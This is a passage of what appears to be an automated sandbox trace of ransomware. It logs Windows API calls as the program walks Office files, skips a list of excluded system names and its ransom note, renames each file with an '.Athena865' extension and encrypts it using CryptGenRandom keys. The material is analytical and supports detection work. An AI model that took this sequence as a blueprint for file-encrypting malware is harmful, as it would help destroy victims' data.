dwFlags=0x0) returned 1 [0145.491] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x680440, lpName=0x0) returned 0x17c [0145.492] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x80440) returned 0x2bb0000 [0145.593] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.594] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.594] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.595] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0145.599] CloseHandle (hObject=0x17c) returned 1 [0145.599] CloseHandle (hObject=0x154) returned 1 [0145.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT_COL.HXC", cAlternateFileName="POWERP~2.HXC")) returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2=".") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="..") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="windows") returned -1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="bootmgr") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="temp") returned -1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="pagefile.sys") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="boot") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="ids.txt") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="ntuser.dat") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="perflogs") returned 1 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2="MSBuild") returned 1 [0145.608] lstrlenW (lpString="POWERPNT_COL.HXC") returned 16 [0145.608] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT_COL.HXC" | out: lpString1="POWERPNT_COL.HXC") returned="POWERPNT_COL.HXC" [0145.608] lstrlenW (lpString="POWERPNT_COL.HXC") returned 16 [0145.608] lstrlenW (lpString="Athena865") returned 9 [0145.608] lstrcmpiW (lpString1="T_COL.HXC", lpString2="Athena865") returned 1 [0145.608] lstrlenW (lpString=".dll") returned 4 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2=".dll") returned 1 [0145.608] lstrlenW (lpString=".lnk") returned 4 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2=".lnk") returned 1 [0145.608] lstrlenW (lpString=".ini") returned 4 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2=".ini") returned 1 [0145.608] lstrlenW (lpString=".sys") returned 4 [0145.608] lstrcmpiW (lpString1="POWERPNT_COL.HXC", lpString2=".sys") returned 1 [0145.608] lstrlenW (lpString="POWERPNT_COL.HXC") returned 16 [0145.609] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.Athena865") returned 74 [0145.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.athena865"), dwFlags=0x1) returned 1 [0145.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.611] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=636) returned 1 [0145.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.611] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.612] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.612] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.612] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0145.628] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0145.629] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.630] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.630] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.631] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.631] CloseHandle (hObject=0x17c) returned 1 [0145.631] CloseHandle (hObject=0x154) returned 1 [0145.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.631] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT_COL.HXT", cAlternateFileName="POWERP~2.HXT")) returned 1 [0145.631] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.631] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.631] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2=".") returned 1 [0145.631] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="..") returned 1 [0145.631] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="windows") returned -1 [0145.631] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="bootmgr") returned 1 [0145.631] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="temp") returned -1 [0145.631] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="pagefile.sys") returned 1 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="boot") returned 1 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="ids.txt") returned 1 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="ntuser.dat") returned 1 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="perflogs") returned 1 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2="MSBuild") returned 1 [0145.632] lstrlenW (lpString="POWERPNT_COL.HXT") returned 16 [0145.632] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT_COL.HXT" | out: lpString1="POWERPNT_COL.HXT") returned="POWERPNT_COL.HXT" [0145.632] lstrlenW (lpString="POWERPNT_COL.HXT") returned 16 [0145.632] lstrlenW (lpString="Athena865") returned 9 [0145.632] lstrcmpiW (lpString1="T_COL.HXT", lpString2="Athena865") returned 1 [0145.632] lstrlenW (lpString=".dll") returned 4 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2=".dll") returned 1 [0145.632] lstrlenW (lpString=".lnk") returned 4 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2=".lnk") returned 1 [0145.632] lstrlenW (lpString=".ini") returned 4 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2=".ini") returned 1 [0145.632] lstrlenW (lpString=".sys") returned 4 [0145.632] lstrcmpiW (lpString1="POWERPNT_COL.HXT", lpString2=".sys") returned 1 [0145.632] lstrlenW (lpString="POWERPNT_COL.HXT") returned 16 [0145.632] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.Athena865") returned 74 [0145.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.athena865"), dwFlags=0x1) returned 1 [0145.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.636] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=208) returned 1 [0145.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.636] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.637] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.637] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.637] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0145.639] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0145.640] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.640] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.640] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.641] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.641] CloseHandle (hObject=0x17c) returned 1 [0145.641] CloseHandle (hObject=0x154) returned 1 [0145.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.642] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT_F_COL.HXK", cAlternateFileName="POWERP~3.HXK")) returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2=".") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="..") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="windows") returned -1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="bootmgr") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="temp") returned -1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="boot") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="ids.txt") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="perflogs") returned 1 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2="MSBuild") returned 1 [0145.642] lstrlenW (lpString="POWERPNT_F_COL.HXK") returned 18 [0145.642] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT_F_COL.HXK" | out: lpString1="POWERPNT_F_COL.HXK") returned="POWERPNT_F_COL.HXK" [0145.642] lstrlenW (lpString="POWERPNT_F_COL.HXK") returned 18 [0145.642] lstrlenW (lpString="Athena865") returned 9 [0145.642] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0145.642] lstrlenW (lpString=".dll") returned 4 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2=".dll") returned 1 [0145.642] lstrlenW (lpString=".lnk") returned 4 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2=".lnk") returned 1 [0145.642] lstrlenW (lpString=".ini") returned 4 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2=".ini") returned 1 [0145.642] lstrlenW (lpString=".sys") returned 4 [0145.642] lstrcmpiW (lpString1="POWERPNT_F_COL.HXK", lpString2=".sys") returned 1 [0145.643] lstrlenW (lpString="POWERPNT_F_COL.HXK") returned 18 [0145.643] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.Athena865") returned 76 [0145.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0145.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.644] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0145.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.645] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.646] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.646] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.646] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0145.648] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0145.649] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.649] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.649] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.650] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.650] CloseHandle (hObject=0x17c) returned 1 [0145.650] CloseHandle (hObject=0x154) returned 1 [0145.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.651] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT_K_COL.HXK", cAlternateFileName="POWERP~4.HXK")) returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2=".") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="..") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="windows") returned -1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="bootmgr") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="temp") returned -1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="boot") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="ids.txt") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="perflogs") returned 1 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2="MSBuild") returned 1 [0145.651] lstrlenW (lpString="POWERPNT_K_COL.HXK") returned 18 [0145.651] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT_K_COL.HXK" | out: lpString1="POWERPNT_K_COL.HXK") returned="POWERPNT_K_COL.HXK" [0145.651] lstrlenW (lpString="POWERPNT_K_COL.HXK") returned 18 [0145.651] lstrlenW (lpString="Athena865") returned 9 [0145.651] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0145.651] lstrlenW (lpString=".dll") returned 4 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2=".dll") returned 1 [0145.651] lstrlenW (lpString=".lnk") returned 4 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2=".lnk") returned 1 [0145.651] lstrlenW (lpString=".ini") returned 4 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2=".ini") returned 1 [0145.651] lstrlenW (lpString=".sys") returned 4 [0145.651] lstrcmpiW (lpString1="POWERPNT_K_COL.HXK", lpString2=".sys") returned 1 [0145.652] lstrlenW (lpString="POWERPNT_K_COL.HXK") returned 18 [0145.652] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.Athena865") returned 76 [0145.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0145.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.athena865"), 